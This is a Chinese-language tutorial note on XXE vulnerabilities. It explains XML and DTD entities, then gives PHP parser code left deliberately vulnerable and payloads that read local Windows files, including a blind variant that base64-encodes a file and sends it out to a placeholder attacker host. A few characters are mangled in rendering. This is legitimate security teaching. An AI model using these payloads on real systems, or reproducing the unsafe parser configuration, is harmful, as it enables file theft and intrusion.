XXE漏洞
本文只是对XXE漏洞学习,参考多篇文章
一、XML基础
XML 用于编辑电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据,是一种允许用户的对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义、文档元素。
<?xml version="1.0" encoding="ISO-8859-1"?> <!--xml声明 定义xml版本1.0和所使用的编码 ISO-8859-1-->
<note> <!--根元素--> <!--之后为4个子元素(to,from,heading,body)-->
<to>George</to>
<form>John</form>
<heading>Reminder</heading>
<body>11111</body>
</note> <!--根元素结尾-->
因为只为学习漏洞,不对xml进行详细学习。
http://www.w3school.com.cn/x.asp可以在此查看详细内容
而XXE漏洞相关的则为DTD
DTD
DTD 文档类型定义,可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。
DTD可以成行地声明XML文档中,也可以作为一个外部引用。
1. 内部声明DTD
假如DTD 被包含在XML源文件中,应当通过下面的语法包装在一个DOCTYPE声明中
<!DOCTYPE 根元素[元素声明]>
<?xml version="1.0"?> <!--xml声明 定义xml版本1.0-->
<!DOCTYPE note[ <!--定义此文档为note类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note 元素有4个元素 “to、from、heading、body-->
<!ELEMENT to (#PCDATA)> <!--定义to 元素为 “#PCDATA”类型 以下如此-->
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>1111</body>
</note>
2. 引用外部
假如DTD 位于XML源文件外部,那么应该通过下面的语言被封装在一个DOCTYOE定义中
<!DOCTYPE> 根元素 SYSTEM “文件名”>
与上 面内部声明 xml文件差不多,但是拥有一个外部的DTD
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
包含DTD的 note.dtd 文件
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
3. 其中还有一种应用的格式为
<!DOCTYPE 根元素 SYSTEM "DTD文件"[定义内容]>
DTD -实体
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体引用是对(实体)的引用。(实体)可以在内部或者外部进行声明
1. 内部实体声明
<!ENTITY 实体名称 “实体的值”>
如:
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
<author>&writer;©right;</author>
注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (😉。
2. 一个外部实体声明
<!ENTITY 实体名称 SYSYTEM "URL">
如:
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<author>&writer;©right;</author>
XML实体分为 普通实体和参数实体 。上面介绍的为普通实体 使用场合则为XML文档中
二、XML外部实体注入(XML External Entity XEE)
当允许引用外部实体时候,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口等危害。
有回显读取本地敏感文件
普通实体引用外部实体
服务器 xml.php
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>
payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&goodies;</creds>
参数实体引用外部实体
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY % a SYSTEM "192.168.11.57:8888/outdtd.dtd"> %a;]>
<creds>&xxe;</creds>
<!ENTITY xxe SYSTEM "file:///c:/windows/system.ini">
无回显读取本地的敏感文件
可以看到在上面两个实验中,都是有显示,而另外一种情况无回显
服务端 xml.php
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>
1.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;'>">
Payload
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>
利用
在上面当中一直使用的为 file 协议 。在真实情况中应该清楚为什么平台,能够使用什么协议。
三、总结
可以看出 XXE 漏洞,知识点涉及较多内容。如 其它利用 危害 Dos拒绝服务、内网主机探测 、内网主机端口扫描。 由于内容较多 之后在一一更新补充。